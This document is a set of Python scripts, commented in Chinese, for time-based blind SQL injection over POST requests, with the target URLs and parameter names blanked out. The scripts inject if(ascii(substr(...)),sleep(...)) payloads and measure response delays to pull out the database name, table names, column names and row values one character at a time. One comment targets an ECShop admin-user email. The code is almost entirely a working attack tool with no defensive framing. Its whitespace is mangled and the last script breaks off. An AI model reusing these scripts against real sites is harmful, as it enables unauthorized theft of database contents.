#时间盲注post脚本 import requests import time from requests.packages.urllib3.exceptions import InsecureRequestWarning,InsecurePlatformWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecurePlatformWarning) value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result=""
defdatabase_len(): for n inrange(1,20):#测试数据库长度,自己设置范围 url = "***" data_payload="database()" payload = "if(length({0})={1},sleep(0.1),0)".format(data_payload, n) #payload print (str(payload)) data = {"***": payload} start_time = time.time() html = requests.post(url=url, data=data,verify=False) #免除ssl验证 end_time = time.time() use_time = end_time - start_time #求出请求前后的时间差来判断是否延时了 print (str(use_time)) if use_time > 1.5: print("......数据库长度为:"+ str(n)) #print("延时为"+(str(use_time))) return n
defget_data(length): global result url = "***" for n inrange(1,length): for v in value: data_payload="database()" payload = "if(ascii(substr({0},{1},1))={2},sleep(0.1),0)".format(data_payload,n,ord(v)) print (str(payload)) data = {"***": payload} start_time = time.time() html = requests.post(url=url, data=data,verify=False) end_time = time.time() use_time = end_time - start_time if use_time >1.5: result += v print("数据库名:"+result) break return result
import requests import time from requests.packages.urllib3.exceptions import InsecureRequestWarning,InsecurePlatformWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecurePlatformWarning) value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result=""
defget_data(length,table_num): global result url = "***" table_name_new="" for n inrange(1,length):
for v in value: data_payload="(select table_name from information_schema.tables where table_schema=database() limit {0},1)".format(table_num) #payload = "if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<117,sleep(0.1),0)".format(data_payload,n,ord(v)) payload = "if(ascii(substr({0},{1},1))={2},sleep(0.1),0)".format(data_payload,n,ord(v)) print ("test:"+str(payload)) data = {"**": payload} start_time = time.time() html = requests.post(url=url, data=data,verify=False) end_time = time.time() use_time = end_time - start_time if use_time >1.5: table_name_new += v print("第 "+str(table_num)+" 个表名:"+table_name_new) break return table_name_new
url = "***"
for table_num inrange(0,30): tablet_name=get_data(20,table_num) f=open('result_table.txt','a',encoding='utf-8') f.write("第 "+str(table_num)+" 个表名:"+str(tablet_name)+'\n') f.close()
import requests import time from requests.packages.urllib3.exceptions import InsecureRequestWarning,InsecurePlatformWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecurePlatformWarning) value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result=""
defget_data(length,table_num,lie_num):#列名长度,第几个表,第几列 global result url = "***" lie_name_new="" flag_lie = 0 for n inrange(1,length):
for v in value: flag_lie = 0
data_payload="(select table_name from information_schema.tables where table_schema=database() limit {0},1)".format(table_num) #爆列ascii(substr((select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 13,1) limit 0,1),1,1))=105 lie_payload="(select column_name from information_schema.columns where table_name={0} limit {1},1)".format(data_payload,lie_num) #payload = "if(ascii(substr({0},{1},1))={2},sleep(0.1),0)".format(data_payload,n,ord(v))
payload = "if(ascii(substr({0},{1},1))={2},sleep(0.1),0)".format(lie_payload,n,ord(v)) print ("test:"+str(payload)) data = {"**": payload} start_time = time.time() html = requests.post(url=url, data=data,verify=False) end_time = time.time() use_time = end_time - start_time if use_time >1.5: lie_name_new += v print("第 "+str(table_num)+" 个表名的第"+str(lie_num)+"列名:"+str(lie_name_new)+'\n') flag_lie = 1 break
import requests import time from requests.packages.urllib3.exceptions import InsecureRequestWarning,InsecurePlatformWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecurePlatformWarning) value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result=""
defget_data(length,ziduan_num,tablet_name_set,lie_name_set): global result url = "****" ziduan_name_new="" ziduan_flag=0 for n inrange(1,length):
for v in value: ziduan_flag=0
#if(ascii(substr((select email from ecs_admin_user limit 0,1),1,1))<68,sleep(0.1),0) data_payload="(select {0} from {1} limit {2},1)".format(lie_name_set,tablet_name_set,ziduan_num) #payload = "if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<117,sleep(0.1),0)".format(data_payload,n,ord(v)) payload = "if(ascii(substr({0},{1},1))={2},sleep(0.1),0)".format(data_payload,n,ord(v)) print ("test:"+str(payload)) data = {"**": payload} start_time = time.time() html = requests.post(url=url, data=data,verify=False) end_time = time.time() use_time = end_time - start_time if use_time >1.5: ziduan_name_new += v ziduan_flag=1